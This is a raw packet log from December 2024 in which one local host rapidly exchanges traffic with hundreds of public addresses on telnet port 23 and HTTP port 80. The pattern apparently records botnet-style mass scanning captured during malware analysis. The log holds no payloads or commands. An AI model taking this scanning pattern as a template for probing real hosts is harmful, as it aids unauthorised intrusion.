Dec 3, 2024 21:01:55.698848963 CET	23	19873	137.208.227.182	192.168.2.23
Dec 3, 2024 21:01:55.698858976 CET	23	19873	34.20.196.211	192.168.2.23
Dec 3, 2024 21:01:55.698865891 CET	19873	23	192.168.2.23	167.117.253.153
Dec 3, 2024 21:01:55.698868036 CET	23	19873	64.68.160.205	192.168.2.23
Dec 3, 2024 21:01:55.698877096 CET	23	19873	145.30.123.93	192.168.2.23
Dec 3, 2024 21:01:55.698887110 CET	23	19873	71.32.16.250	192.168.2.23
Dec 3, 2024 21:01:55.698889017 CET	19873	23	192.168.2.23	157.148.227.189
Dec 3, 2024 21:01:55.698892117 CET	19873	23	192.168.2.23	17.235.96.59
Dec 3, 2024 21:01:55.698894978 CET	19873	23	192.168.2.23	137.208.227.182
Dec 3, 2024 21:01:55.698895931 CET	19873	23	192.168.2.23	34.20.196.211
Dec 3, 2024 21:01:55.698896885 CET	23	19873	176.123.32.188	192.168.2.23
Dec 3, 2024 21:01:55.698905945 CET	23	19873	36.122.95.165	192.168.2.23
Dec 3, 2024 21:01:55.698909044 CET	19873	23	192.168.2.23	64.68.160.205
Dec 3, 2024 21:01:55.698915005 CET	23	19873	107.68.79.135	192.168.2.23
Dec 3, 2024 21:01:55.698920012 CET	19873	23	192.168.2.23	145.30.123.93
Dec 3, 2024 21:01:55.698928118 CET	19873	23	192.168.2.23	71.32.16.250
Dec 3, 2024 21:01:55.698936939 CET	19873	23	192.168.2.23	176.123.32.188
Dec 3, 2024 21:01:55.698968887 CET	19873	23	192.168.2.23	107.68.79.135
Dec 3, 2024 21:01:55.698968887 CET	19873	23	192.168.2.23	36.122.95.165
Dec 3, 2024 21:01:55.699166059 CET	23	19873	207.162.155.40	192.168.2.23
Dec 3, 2024 21:01:55.699177980 CET	23	19873	139.117.153.180	192.168.2.23
Dec 3, 2024 21:01:55.699187040 CET	23	19873	153.171.233.240	192.168.2.23
Dec 3, 2024 21:01:55.699196100 CET	23	19873	102.154.30.223	192.168.2.23
Dec 3, 2024 21:01:55.699204922 CET	23	19873	99.45.119.169	192.168.2.23
Dec 3, 2024 21:01:55.699206114 CET	19873	23	192.168.2.23	207.162.155.40
Dec 3, 2024 21:01:55.699213982 CET	23	19873	39.94.170.158	192.168.2.23
Dec 3, 2024 21:01:55.699220896 CET	19873	23	192.168.2.23	139.117.153.180
Dec 3, 2024 21:01:55.699223042 CET	19873	23	192.168.2.23	153.171.233.240
Dec 3, 2024 21:01:55.699225903 CET	23	19873	69.148.250.101	192.168.2.23
Dec 3, 2024 21:01:55.699225903 CET	19873	23	192.168.2.23	99.45.119.169
Dec 3, 2024 21:01:55.699234962 CET	23	19873	200.202.44.121	192.168.2.23
Dec 3, 2024 21:01:55.699244976 CET	23	19873	34.5.36.189	192.168.2.23
Dec 3, 2024 21:01:55.699254036 CET	23	19873	47.120.169.133	192.168.2.23
Dec 3, 2024 21:01:55.699258089 CET	23	19873	211.148.156.152	192.168.2.23
Dec 3, 2024 21:01:55.699259996 CET	19873	23	192.168.2.23	102.154.30.223
Dec 3, 2024 21:01:55.699261904 CET	23	19873	131.24.228.228	192.168.2.23
Dec 3, 2024 21:01:55.699265957 CET	23	19873	24.25.249.181	192.168.2.23
Dec 3, 2024 21:01:55.699270964 CET	23	19873	182.197.189.80	192.168.2.23
Dec 3, 2024 21:01:55.699276924 CET	19873	23	192.168.2.23	69.148.250.101
Dec 3, 2024 21:01:55.699280024 CET	23	19873	54.149.201.29	192.168.2.23
Dec 3, 2024 21:01:55.699289083 CET	23	19873	97.240.61.250	192.168.2.23
Dec 3, 2024 21:01:55.699290991 CET	19873	23	192.168.2.23	200.202.44.121
Dec 3, 2024 21:01:55.699294090 CET	23	19873	180.255.77.224	192.168.2.23
Dec 3, 2024 21:01:55.699295998 CET	19873	23	192.168.2.23	34.5.36.189
Dec 3, 2024 21:01:55.699302912 CET	23	19873	45.48.170.51	192.168.2.23
Dec 3, 2024 21:01:55.699302912 CET	19873	23	192.168.2.23	47.120.169.133
Dec 3, 2024 21:01:55.699307919 CET	23	19873	86.149.79.152	192.168.2.23
Dec 3, 2024 21:01:55.699323893 CET	23	19873	35.25.98.215	192.168.2.23
Dec 3, 2024 21:01:55.699326038 CET	19873	23	192.168.2.23	182.197.189.80
Dec 3, 2024 21:01:55.699326038 CET	19873	23	192.168.2.23	54.149.201.29
Dec 3, 2024 21:01:55.699328899 CET	19873	23	192.168.2.23	24.25.249.181
Dec 3, 2024 21:01:55.699328899 CET	19873	23	192.168.2.23	131.24.228.228
Dec 3, 2024 21:01:55.699333906 CET	23	19873	71.91.195.232	192.168.2.23
Dec 3, 2024 21:01:55.699342966 CET	23	19873	114.236.99.254	192.168.2.23
Dec 3, 2024 21:01:55.699351072 CET	23	19873	140.10.39.189	192.168.2.23
Dec 3, 2024 21:01:55.699361086 CET	23	19873	37.188.40.31	192.168.2.23
Dec 3, 2024 21:01:55.699369907 CET	19873	23	192.168.2.23	97.240.61.250
Dec 3, 2024 21:01:55.699369907 CET	19873	23	192.168.2.23	211.148.156.152
Dec 3, 2024 21:01:55.699372053 CET	23	19873	156.43.159.245	192.168.2.23
Dec 3, 2024 21:01:55.699373960 CET	19873	23	192.168.2.23	39.94.170.158
Dec 3, 2024 21:01:55.699373960 CET	19873	23	192.168.2.23	45.48.170.51
Dec 3, 2024 21:01:55.699373960 CET	19873	23	192.168.2.23	86.149.79.152
Dec 3, 2024 21:01:55.699378967 CET	19873	23	192.168.2.23	71.91.195.232
Dec 3, 2024 21:01:55.699382067 CET	23	19873	122.204.223.108	192.168.2.23
Dec 3, 2024 21:01:55.699392080 CET	23	19873	19.24.135.237	192.168.2.23
Dec 3, 2024 21:01:55.699388981 CET	19873	23	192.168.2.23	114.236.99.254
Dec 3, 2024 21:01:55.699388981 CET	19873	23	192.168.2.23	140.10.39.189
Dec 3, 2024 21:01:55.699395895 CET	23	19873	85.171.70.10	192.168.2.23
Dec 3, 2024 21:01:55.699400902 CET	23	19873	17.236.113.23	192.168.2.23
Dec 3, 2024 21:01:55.699404001 CET	19873	23	192.168.2.23	180.255.77.224
Dec 3, 2024 21:01:55.699404955 CET	23	19873	142.185.93.149	192.168.2.23
Dec 3, 2024 21:01:55.699405909 CET	19873	23	192.168.2.23	35.25.98.215
Dec 3, 2024 21:01:55.699408054 CET	19873	23	192.168.2.23	37.188.40.31
Dec 3, 2024 21:01:55.699410915 CET	23	19873	146.105.114.214	192.168.2.23
Dec 3, 2024 21:01:55.699419022 CET	19873	23	192.168.2.23	156.43.159.245
Dec 3, 2024 21:01:55.699420929 CET	23	19873	89.181.5.11	192.168.2.23
Dec 3, 2024 21:01:55.699425936 CET	19873	23	192.168.2.23	122.204.223.108
Dec 3, 2024 21:01:55.699430943 CET	80	20129	209.52.99.117	192.168.2.23
Dec 3, 2024 21:01:55.699434996 CET	19873	23	192.168.2.23	19.24.135.237
Dec 3, 2024 21:01:55.699434996 CET	19873	23	192.168.2.23	85.171.70.10
Dec 3, 2024 21:01:55.699440002 CET	80	20129	91.216.231.112	192.168.2.23
Dec 3, 2024 21:01:55.699443102 CET	19873	23	192.168.2.23	17.236.113.23
Dec 3, 2024 21:01:55.699449062 CET	80	20129	77.110.127.117	192.168.2.23
Dec 3, 2024 21:01:55.699453115 CET	19873	23	192.168.2.23	142.185.93.149
Dec 3, 2024 21:01:55.699455976 CET	19873	23	192.168.2.23	146.105.114.214
Dec 3, 2024 21:01:55.699459076 CET	80	20129	220.207.162.118	192.168.2.23
Dec 3, 2024 21:01:55.699459076 CET	20129	80	192.168.2.23	209.52.99.117
Dec 3, 2024 21:01:55.699465990 CET	19873	23	192.168.2.23	89.181.5.11
Dec 3, 2024 21:01:55.699469090 CET	80	20129	68.230.251.81	192.168.2.23
Dec 3, 2024 21:01:55.699479103 CET	80	20129	166.181.76.199	192.168.2.23
Dec 3, 2024 21:01:55.699487925 CET	80	20129	64.150.5.208	192.168.2.23
Dec 3, 2024 21:01:55.699489117 CET	20129	80	192.168.2.23	91.216.231.112
Dec 3, 2024 21:01:55.699497938 CET	80	20129	106.153.6.87	192.168.2.23
Dec 3, 2024 21:01:55.699506044 CET	20129	80	192.168.2.23	77.110.127.117
Dec 3, 2024 21:01:55.699506044 CET	80	20129	39.161.213.225	192.168.2.23
Dec 3, 2024 21:01:55.699506044 CET	20129	80	192.168.2.23	68.230.251.81
Dec 3, 2024 21:01:55.699507952 CET	20129	80	192.168.2.23	220.207.162.118
Dec 3, 2024 21:01:55.699517965 CET	20129	80	192.168.2.23	166.181.76.199
Dec 3, 2024 21:01:55.699517965 CET	20129	80	192.168.2.23	106.153.6.87
Dec 3, 2024 21:01:55.699518919 CET	20129	80	192.168.2.23	64.150.5.208
Dec 3, 2024 21:01:55.699546099 CET	20129	80	192.168.2.23	39.161.213.225
Dec 3, 2024 21:01:55.699997902 CET	80	20129	156.64.6.253	192.168.2.23
Dec 3, 2024 21:01:55.700011015 CET	80	20129	222.15.251.88	192.168.2.23
Dec 3, 2024 21:01:55.700018883 CET	80	20129	106.169.165.238	192.168.2.23
Dec 3, 2024 21:01:55.700027943 CET	80	20129	65.224.91.72	192.168.2.23
Dec 3, 2024 21:01:55.700037003 CET	80	20129	75.205.43.53	192.168.2.23
Dec 3, 2024 21:01:55.700046062 CET	80	20129	185.153.41.190	192.168.2.23
Dec 3, 2024 21:01:55.700052023 CET	20129	80	192.168.2.23	222.15.251.88
Dec 3, 2024 21:01:55.700057030 CET	80	20129	31.252.191.233	192.168.2.23
Dec 3, 2024 21:01:55.700057983 CET	20129	80	192.168.2.23	156.64.6.253
Dec 3, 2024 21:01:55.700057983 CET	20129	80	192.168.2.23	106.169.165.238
Dec 3, 2024 21:01:55.700057983 CET	20129	80	192.168.2.23	65.224.91.72
Dec 3, 2024 21:01:55.700067043 CET	20129	80	192.168.2.23	75.205.43.53
Dec 3, 2024 21:01:55.700067043 CET	80	20129	133.136.55.11	192.168.2.23
Dec 3, 2024 21:01:55.700077057 CET	80	20129	194.39.4.54	192.168.2.23
Dec 3, 2024 21:01:55.700079918 CET	20129	80	192.168.2.23	185.153.41.190
Dec 3, 2024 21:01:55.700079918 CET	20129	80	192.168.2.23	31.252.191.233
Dec 3, 2024 21:01:55.700087070 CET	80	20129	24.99.228.188	192.168.2.23
Dec 3, 2024 21:01:55.700098991 CET	80	20129	220.179.3.113	192.168.2.23
Dec 3, 2024 21:01:55.700108051 CET	80	20129	206.155.84.33	192.168.2.23
Dec 3, 2024 21:01:55.700113058 CET	20129	80	192.168.2.23	133.136.55.11
Dec 3, 2024 21:01:55.700117111 CET	80	20129	121.196.238.45	192.168.2.23
Dec 3, 2024 21:01:55.700123072 CET	20129	80	192.168.2.23	24.99.228.188
Dec 3, 2024 21:01:55.700126886 CET	80	20129	69.125.227.195	192.168.2.23
Dec 3, 2024 21:01:55.700129986 CET	20129	80	192.168.2.23	194.39.4.54
Dec 3, 2024 21:01:55.700136900 CET	80	20129	208.18.25.73	192.168.2.23
Dec 3, 2024 21:01:55.700145960 CET	80	20129	24.146.188.204	192.168.2.23
Dec 3, 2024 21:01:55.700148106 CET	20129	80	192.168.2.23	206.155.84.33
Dec 3, 2024 21:01:55.700155973 CET	80	20129	181.142.110.27	192.168.2.23
Dec 3, 2024 21:01:55.700164080 CET	80	20129	181.11.90.229	192.168.2.23
Dec 3, 2024 21:01:55.700166941 CET	20129	80	192.168.2.23	208.18.25.73
Dec 3, 2024 21:01:55.700167894 CET	20129	80	192.168.2.23	220.179.3.113
Dec 3, 2024 21:01:55.700175047 CET	80	20129	84.75.229.31	192.168.2.23
Dec 3, 2024 21:01:55.700185061 CET	80	20129	45.23.50.209	192.168.2.23
Dec 3, 2024 21:01:55.700193882 CET	80	20129	2.252.170.113	192.168.2.23
Dec 3, 2024 21:01:55.700195074 CET	20129	80	192.168.2.23	121.196.238.45
Dec 3, 2024 21:01:55.700198889 CET	20129	80	192.168.2.23	69.125.227.195
Dec 3, 2024 21:01:55.700205088 CET	80	20129	69.130.148.238	192.168.2.23
Dec 3, 2024 21:01:55.700215101 CET	80	20129	119.126.177.90	192.168.2.23
Dec 3, 2024 21:01:55.700216055 CET	20129	80	192.168.2.23	181.142.110.27
Dec 3, 2024 21:01:55.700222015 CET	20129	80	192.168.2.23	2.252.170.113
Dec 3, 2024 21:01:55.700223923 CET	20129	80	192.168.2.23	84.75.229.31
Dec 3, 2024 21:01:55.700223923 CET	20129	80	192.168.2.23	24.146.188.204
Dec 3, 2024 21:01:55.700223923 CET	20129	80	192.168.2.23	181.11.90.229
Dec 3, 2024 21:01:55.700226068 CET	80	20129	192.118.75.250	192.168.2.23
Dec 3, 2024 21:01:55.700234890 CET	20129	80	192.168.2.23	45.23.50.209
Dec 3, 2024 21:01:55.700237989 CET	80	20129	80.60.135.201	192.168.2.23
Dec 3, 2024 21:01:55.700248003 CET	80	20129	171.126.192.26	192.168.2.23
Dec 3, 2024 21:01:55.700253963 CET	20129	80	192.168.2.23	119.126.177.90
Dec 3, 2024 21:01:55.700257063 CET	80	20129	143.102.120.185	192.168.2.23
Dec 3, 2024 21:01:55.700257063 CET	20129	80	192.168.2.23	69.130.148.238
Dec 3, 2024 21:01:55.700268984 CET	20129	80	192.168.2.23	192.118.75.250
Dec 3, 2024 21:01:55.700269938 CET	80	20129	95.239.236.95	192.168.2.23
Dec 3, 2024 21:01:55.700279951 CET	80	20129	155.225.143.210	192.168.2.23
Dec 3, 2024 21:01:55.700285912 CET	20129	80	192.168.2.23	171.126.192.26
Dec 3, 2024 21:01:55.700289965 CET	80	20129	49.173.97.140	192.168.2.23
Dec 3, 2024 21:01:55.700289965 CET	20129	80	192.168.2.23	80.60.135.201
Dec 3, 2024 21:01:55.700298071 CET	20129	80	192.168.2.23	143.102.120.185
Dec 3, 2024 21:01:55.700299025 CET	80	20129	2.97.113.97	192.168.2.23
Dec 3, 2024 21:01:55.700309038 CET	80	20129	205.126.52.118	192.168.2.23
Dec 3, 2024 21:01:55.700313091 CET	20129	80	192.168.2.23	95.239.236.95
Dec 3, 2024 21:01:55.700319052 CET	80	20129	13.205.234.185	192.168.2.23
Dec 3, 2024 21:01:55.700325012 CET	20129	80	192.168.2.23	49.173.97.140
Dec 3, 2024 21:01:55.700325012 CET	20129	80	192.168.2.23	2.97.113.97
Dec 3, 2024 21:01:55.700328112 CET	80	20129	43.95.12.52	192.168.2.23
Dec 3, 2024 21:01:55.700337887 CET	80	20129	174.211.195.172	192.168.2.23
Dec 3, 2024 21:01:55.700341940 CET	20129	80	192.168.2.23	155.225.143.210
Dec 3, 2024 21:01:55.700341940 CET	20129	80	192.168.2.23	13.205.234.185
Dec 3, 2024 21:01:55.700347900 CET	80	20129	140.22.121.126	192.168.2.23
Dec 3, 2024 21:01:55.700349092 CET	20129	80	192.168.2.23	205.126.52.118
Dec 3, 2024 21:01:55.700361013 CET	80	20129	121.141.196.216	192.168.2.23
Dec 3, 2024 21:01:55.700368881 CET	80	20129	67.235.70.97	192.168.2.23
Dec 3, 2024 21:01:55.700375080 CET	20129	80	192.168.2.23	43.95.12.52
Dec 3, 2024 21:01:55.700377941 CET	80	20129	187.67.165.2	192.168.2.23
Dec 3, 2024 21:01:55.700387001 CET	80	20129	75.13.185.99	192.168.2.23
Dec 3, 2024 21:01:55.700391054 CET	80	20129	181.48.161.8	192.168.2.23
Dec 3, 2024 21:01:55.700390100 CET	20129	80	192.168.2.23	140.22.121.126
Dec 3, 2024 21:01:55.700407982 CET	20129	80	192.168.2.23	121.141.196.216
Dec 3, 2024 21:01:55.700411081 CET	20129	80	192.168.2.23	67.235.70.97
Dec 3, 2024 21:01:55.700411081 CET	20129	80	192.168.2.23	174.211.195.172
Dec 3, 2024 21:01:55.700417042 CET	20129	80	192.168.2.23	187.67.165.2
Dec 3, 2024 21:01:55.700417042 CET	20129	80	192.168.2.23	75.13.185.99
Dec 3, 2024 21:01:55.700417042 CET	20129	80	192.168.2.23	181.48.161.8
Dec 3, 2024 21:01:55.700704098 CET	80	20129	176.240.202.161	192.168.2.23
Dec 3, 2024 21:01:55.700715065 CET	80	20129	88.21.162.160	192.168.2.23
Dec 3, 2024 21:01:55.700725079 CET	80	20129	196.98.126.83	192.168.2.23
Dec 3, 2024 21:01:55.700733900 CET	80	20129	61.127.202.0	192.168.2.23
Dec 3, 2024 21:01:55.700742006 CET	80	20129	68.210.135.220	192.168.2.23
Dec 3, 2024 21:01:55.700751066 CET	80	20129	200.90.67.25	192.168.2.23
Dec 3, 2024 21:01:55.700757980 CET	20129	80	192.168.2.23	176.240.202.161
Dec 3, 2024 21:01:55.700757980 CET	20129	80	192.168.2.23	88.21.162.160
Dec 3, 2024 21:01:55.700762033 CET	20129	80	192.168.2.23	196.98.126.83
Dec 3, 2024 21:01:55.700762033 CET	20129	80	192.168.2.23	61.127.202.0
Dec 3, 2024 21:01:55.700769901 CET	80	20129	136.0.54.68	192.168.2.23
Dec 3, 2024 21:01:55.700772047 CET	20129	80	192.168.2.23	68.210.135.220
Dec 3, 2024 21:01:55.700779915 CET	80	20129	120.6.246.170	192.168.2.23
Dec 3, 2024 21:01:55.700788975 CET	80	20129	24.182.21.166	192.168.2.23
Dec 3, 2024 21:01:55.700790882 CET	20129	80	192.168.2.23	200.90.67.25
Dec 3, 2024 21:01:55.700798988 CET	80	20129	166.86.17.240	192.168.2.23
Dec 3, 2024 21:01:55.700808048 CET	80	20129	197.135.235.71	192.168.2.23
Dec 3, 2024 21:01:55.700812101 CET	80	20129	220.38.120.128	192.168.2.23
Dec 3, 2024 21:01:55.700815916 CET	20129	80	192.168.2.23	136.0.54.68
Dec 3, 2024 21:01:55.700820923 CET	80	20129	9.185.124.253	192.168.2.23
Dec 3, 2024 21:01:55.700825930 CET	20129	80	192.168.2.23	120.6.246.170
Dec 3, 2024 21:01:55.700829983 CET	80	20129	107.156.81.25	192.168.2.23
Dec 3, 2024 21:01:55.700831890 CET	20129	80	192.168.2.23	24.182.21.166
Dec 3, 2024 21:01:55.700850010 CET	80	20129	86.239.194.113	192.168.2.23
Dec 3, 2024 21:01:55.700856924 CET	20129	80	192.168.2.23	220.38.120.128
Dec 3, 2024 21:01:55.700859070 CET	20129	80	192.168.2.23	166.86.17.240
Dec 3, 2024 21:01:55.700860977 CET	80	20129	141.126.19.36	192.168.2.23
Dec 3, 2024 21:01:55.700866938 CET	20129	80	192.168.2.23	197.135.235.71
Dec 3, 2024 21:01:55.700867891 CET	20129	80	192.168.2.23	9.185.124.253
Dec 3, 2024 21:01:55.700870991 CET	80	20129	204.156.235.94	192.168.2.23
Dec 3, 2024 21:01:55.700881004 CET	80	20129	168.193.41.97	192.168.2.23
Dec 3, 2024 21:01:55.700890064 CET	80	20129	62.82.222.207	192.168.2.23
Dec 3, 2024 21:01:55.700892925 CET	20129	80	192.168.2.23	107.156.81.25
Dec 3, 2024 21:01:55.700894117 CET	80	20129	106.120.109.100	192.168.2.23
Dec 3, 2024 21:01:55.700897932 CET	20129	80	192.168.2.23	86.239.194.113
Dec 3, 2024 21:01:55.700903893 CET	80	20129	49.202.245.25	192.168.2.23
Dec 3, 2024 21:01:55.700911999 CET	20129	80	192.168.2.23	141.126.19.36
Dec 3, 2024 21:01:55.700911999 CET	20129	80	192.168.2.23	204.156.235.94
Dec 3, 2024 21:01:55.700913906 CET	80	20129	95.200.253.206	192.168.2.23
Dec 3, 2024 21:01:55.700915098 CET	20129	80	192.168.2.23	168.193.41.97
Dec 3, 2024 21:01:55.700922966 CET	80	20129	41.42.230.188	192.168.2.23
Dec 3, 2024 21:01:55.700932980 CET	80	20129	219.16.188.39	192.168.2.23
Dec 3, 2024 21:01:55.700943947 CET	80	20129	208.204.142.26	192.168.2.23
Dec 3, 2024 21:01:55.700944901 CET	20129	80	192.168.2.23	106.120.109.100
Dec 3, 2024 21:01:55.700946093 CET	20129	80	192.168.2.23	95.200.253.206
Dec 3, 2024 21:01:55.700948000 CET	80	20129	43.138.219.96	192.168.2.23
Dec 3, 2024 21:01:55.700949907 CET	20129	80	192.168.2.23	49.202.245.25
Dec 3, 2024 21:01:55.700958014 CET	80	20129	72.102.223.172	192.168.2.23
Dec 3, 2024 21:01:55.700959921 CET	20129	80	192.168.2.23	41.42.230.188
Dec 3, 2024 21:01:55.700968027 CET	20129	80	192.168.2.23	219.16.188.39
Dec 3, 2024 21:01:55.700972080 CET	80	20129	13.233.125.229	192.168.2.23
Dec 3, 2024 21:01:55.700972080 CET	20129	80	192.168.2.23	62.82.222.207
Dec 3, 2024 21:01:55.700979948 CET	20129	80	192.168.2.23	208.204.142.26
Dec 3, 2024 21:01:55.700979948 CET	20129	80	192.168.2.23	43.138.219.96
Dec 3, 2024 21:01:55.700985909 CET	80	20129	185.121.146.235	192.168.2.23
Dec 3, 2024 21:01:55.700995922 CET	80	20129	95.220.245.195	192.168.2.23
Dec 3, 2024 21:01:55.700999975 CET	20129	80	192.168.2.23	72.102.223.172
Dec 3, 2024 21:01:55.701005936 CET	80	20129	129.118.246.216	192.168.2.23
Dec 3, 2024 21:01:55.701010942 CET	80	20129	208.31.85.248	192.168.2.23
Dec 3, 2024 21:01:55.701014042 CET	80	20129	183.175.35.78	192.168.2.23
Dec 3, 2024 21:01:55.701023102 CET	80	20129	2.130.203.111	192.168.2.23
Dec 3, 2024 21:01:55.701025009 CET	20129	80	192.168.2.23	13.233.125.229
Dec 3, 2024 21:01:55.701031923 CET	80	20129	115.201.101.216	192.168.2.23
Dec 3, 2024 21:01:55.701040983 CET	80	20129	60.221.128.67	192.168.2.23
Dec 3, 2024 21:01:55.701041937 CET	20129	80	192.168.2.23	185.121.146.235
Dec 3, 2024 21:01:55.701041937 CET	20129	80	192.168.2.23	95.220.245.195
Dec 3, 2024 21:01:55.701047897 CET	20129	80	192.168.2.23	129.118.246.216
Dec 3, 2024 21:01:55.701047897 CET	20129	80	192.168.2.23	208.31.85.248
Dec 3, 2024 21:01:55.701050997 CET	20129	80	192.168.2.23	183.175.35.78
Dec 3, 2024 21:01:55.701051950 CET	80	20129	223.46.197.122	192.168.2.23
Dec 3, 2024 21:01:55.701055050 CET	20129	80	192.168.2.23	2.130.203.111
Dec 3, 2024 21:01:55.701061010 CET	80	20129	102.149.100.79	192.168.2.23
Dec 3, 2024 21:01:55.701070070 CET	80	20129	116.148.248.62	192.168.2.23
Dec 3, 2024 21:01:55.701073885 CET	20129	80	192.168.2.23	115.201.101.216
Dec 3, 2024 21:01:55.701078892 CET	80	20129	113.134.172.73	192.168.2.23
Dec 3, 2024 21:01:55.701087952 CET	80	20129	169.14.89.25	192.168.2.23
Dec 3, 2024 21:01:55.701088905 CET	20129	80	192.168.2.23	60.221.128.67
Dec 3, 2024 21:01:55.701093912 CET	20129	80	192.168.2.23	223.46.197.122
Dec 3, 2024 21:01:55.701093912 CET	20129	80	192.168.2.23	102.149.100.79
Dec 3, 2024 21:01:55.701118946 CET	20129	80	192.168.2.23	113.134.172.73
Dec 3, 2024 21:01:55.701121092 CET	20129	80	192.168.2.23	116.148.248.62
Dec 3, 2024 21:01:55.701121092 CET	20129	80	192.168.2.23	169.14.89.25
Dec 3, 2024 21:01:55.701411009 CET	80	20129	79.145.100.1	192.168.2.23
Dec 3, 2024 21:01:55.701422930 CET	80	20129	154.147.253.240	192.168.2.23
Dec 3, 2024 21:01:55.701431990 CET	80	20129	101.159.157.111	192.168.2.23
Dec 3, 2024 21:01:55.701441050 CET	80	20129	218.40.97.141	192.168.2.23
Dec 3, 2024 21:01:55.701450109 CET	80	20129	9.37.71.146	192.168.2.23
Dec 3, 2024 21:01:55.701453924 CET	20129	80	192.168.2.23	154.147.253.240
Dec 3, 2024 21:01:55.701457977 CET	80	20129	159.124.246.195	192.168.2.23
Dec 3, 2024 21:01:55.701457977 CET	20129	80	192.168.2.23	79.145.100.1
Dec 3, 2024 21:01:55.701461077 CET	20129	80	192.168.2.23	101.159.157.111
Dec 3, 2024 21:01:55.701467991 CET	80	20129	212.113.177.137	192.168.2.23
Dec 3, 2024 21:01:55.701477051 CET	80	20129	27.118.141.89	192.168.2.23
Dec 3, 2024 21:01:55.701486111 CET	20129	80	192.168.2.23	218.40.97.141
Dec 3, 2024 21:01:55.701487064 CET	80	20129	9.140.165.237	192.168.2.23
Dec 3, 2024 21:01:55.701497078 CET	20129	80	192.168.2.23	9.37.71.146
Dec 3, 2024 21:01:55.701498032 CET	80	20129	12.201.185.210	192.168.2.23
Dec 3, 2024 21:01:55.701508999 CET	20129	80	192.168.2.23	212.113.177.137
Dec 3, 2024 21:01:55.701509953 CET	80	20129	212.56.194.163	192.168.2.23
Dec 3, 2024 21:01:55.701512098 CET	20129	80	192.168.2.23	159.124.246.195
Dec 3, 2024 21:01:55.701519966 CET	20129	80	192.168.2.23	27.118.141.89
Dec 3, 2024 21:01:55.701520920 CET	80	20129	100.210.200.47	192.168.2.23
Dec 3, 2024 21:01:55.701529026 CET	80	20129	109.28.108.56	192.168.2.23
Dec 3, 2024 21:01:55.701538086 CET	80	20129	122.10.147.217	192.168.2.23
Dec 3, 2024 21:01:55.701546907 CET	80	20129	139.209.109.213	192.168.2.23
Dec 3, 2024 21:01:55.701550007 CET	20129	80	192.168.2.23	9.140.165.237
Dec 3, 2024 21:01:55.701550007 CET	20129	80	192.168.2.23	12.201.185.210
Dec 3, 2024 21:01:55.701550007 CET	20129	80	192.168.2.23	212.56.194.163
Dec 3, 2024 21:01:55.701556921 CET	80	20129	153.234.75.223	192.168.2.23
Dec 3, 2024 21:01:55.701558113 CET	20129	80	192.168.2.23	109.28.108.56
Dec 3, 2024 21:01:55.701565981 CET	80	20129	76.43.91.183	192.168.2.23
Dec 3, 2024 21:01:55.701570988 CET	20129	80	192.168.2.23	122.10.147.217
Dec 3, 2024 21:01:55.701575041 CET	80	20129	69.42.176.119	192.168.2.23
Dec 3, 2024 21:01:55.701580048 CET	20129	80	192.168.2.23	100.210.200.47
Dec 3, 2024 21:01:55.701580048 CET	20129	80	192.168.2.23	139.209.109.213
Dec 3, 2024 21:01:55.701585054 CET	80	20129	153.7.103.144	192.168.2.23
Dec 3, 2024 21:01:55.701594114 CET	80	20129	61.102.16.150	192.168.2.23
Dec 3, 2024 21:01:55.701598883 CET	20129	80	192.168.2.23	76.43.91.183
Dec 3, 2024 21:01:55.701605082 CET	80	20129	88.138.171.220	192.168.2.23
Dec 3, 2024 21:01:55.701606989 CET	20129	80	192.168.2.23	69.42.176.119
Dec 3, 2024 21:01:55.701608896 CET	20129	80	192.168.2.23	153.234.75.223
Dec 3, 2024 21:01:55.701612949 CET	80	20129	73.32.140.141	192.168.2.23
Dec 3, 2024 21:01:55.701623917 CET	80	20129	211.39.252.9	192.168.2.23
Dec 3, 2024 21:01:55.701627016 CET	20129	80	192.168.2.23	153.7.103.144
Dec 3, 2024 21:01:55.701630116 CET	20129	80	192.168.2.23	61.102.16.150
Dec 3, 2024 21:01:55.701634884 CET	80	20129	71.230.36.191	192.168.2.23
Dec 3, 2024 21:01:55.701637030 CET	20129	80	192.168.2.23	88.138.171.220
Dec 3, 2024 21:01:55.701641083 CET	20129	80	192.168.2.23	73.32.140.141
Dec 3, 2024 21:01:55.701647043 CET	80	20129	107.97.157.185	192.168.2.23
Dec 3, 2024 21:01:55.701657057 CET	80	20129	211.56.105.68	192.168.2.23
Dec 3, 2024 21:01:55.701664925 CET	80	20129	14.140.88.235	192.168.2.23
Dec 3, 2024 21:01:55.701670885 CET	20129	80	192.168.2.23	211.39.252.9
Dec 3, 2024 21:01:55.701673985 CET	80	20129	178.90.192.65	192.168.2.23
Dec 3, 2024 21:01:55.701677084 CET	20129	80	192.168.2.23	71.230.36.191
Dec 3, 2024 21:01:55.701683044 CET	80	20129	32.31.48.46	192.168.2.23
Dec 3, 2024 21:01:55.701687098 CET	20129	80	192.168.2.23	107.97.157.185
Dec 3, 2024 21:01:55.701687098 CET	20129	80	192.168.2.23	211.56.105.68
Dec 3, 2024 21:01:55.701692104 CET	80	20129	151.195.154.120	192.168.2.23
Dec 3, 2024 21:01:55.701702118 CET	80	20129	210.210.255.191	192.168.2.23
Dec 3, 2024 21:01:55.701709986 CET	80	20129	93.57.221.51	192.168.2.23
Dec 3, 2024 21:01:55.701714993 CET	20129	80	192.168.2.23	14.140.88.235
Dec 3, 2024 21:01:55.701718092 CET	20129	80	192.168.2.23	178.90.192.65
Dec 3, 2024 21:01:55.701718092 CET	20129	80	192.168.2.23	32.31.48.46
Dec 3, 2024 21:01:55.701719999 CET	80	20129	81.8.81.86	192.168.2.23
Dec 3, 2024 21:01:55.701720953 CET	20129	80	192.168.2.23	151.195.154.120
Dec 3, 2024 21:01:55.701730013 CET	80	20129	133.231.245.163	192.168.2.23
Dec 3, 2024 21:01:55.701730967 CET	20129	80	192.168.2.23	210.210.255.191
Dec 3, 2024 21:01:55.701739073 CET	80	20129	115.193.75.51	192.168.2.23
Dec 3, 2024 21:01:55.701746941 CET	80	20129	122.132.61.165	192.168.2.23
Dec 3, 2024 21:01:55.701755047 CET	20129	80	192.168.2.23	81.8.81.86
Dec 3, 2024 21:01:55.701755047 CET	20129	80	192.168.2.23	133.231.245.163
Dec 3, 2024 21:01:55.701756001 CET	80	20129	94.26.209.129	192.168.2.23
Dec 3, 2024 21:01:55.701761007 CET	20129	80	192.168.2.23	93.57.221.51
Dec 3, 2024 21:01:55.701766968 CET	80	20129	100.225.2.20	192.168.2.23
Dec 3, 2024 21:01:55.701770067 CET	20129	80	192.168.2.23	115.193.75.51
Dec 3, 2024 21:01:55.701776981 CET	80	20129	102.100.178.74	192.168.2.23
Dec 3, 2024 21:01:55.701780081 CET	20129	80	192.168.2.23	122.132.61.165
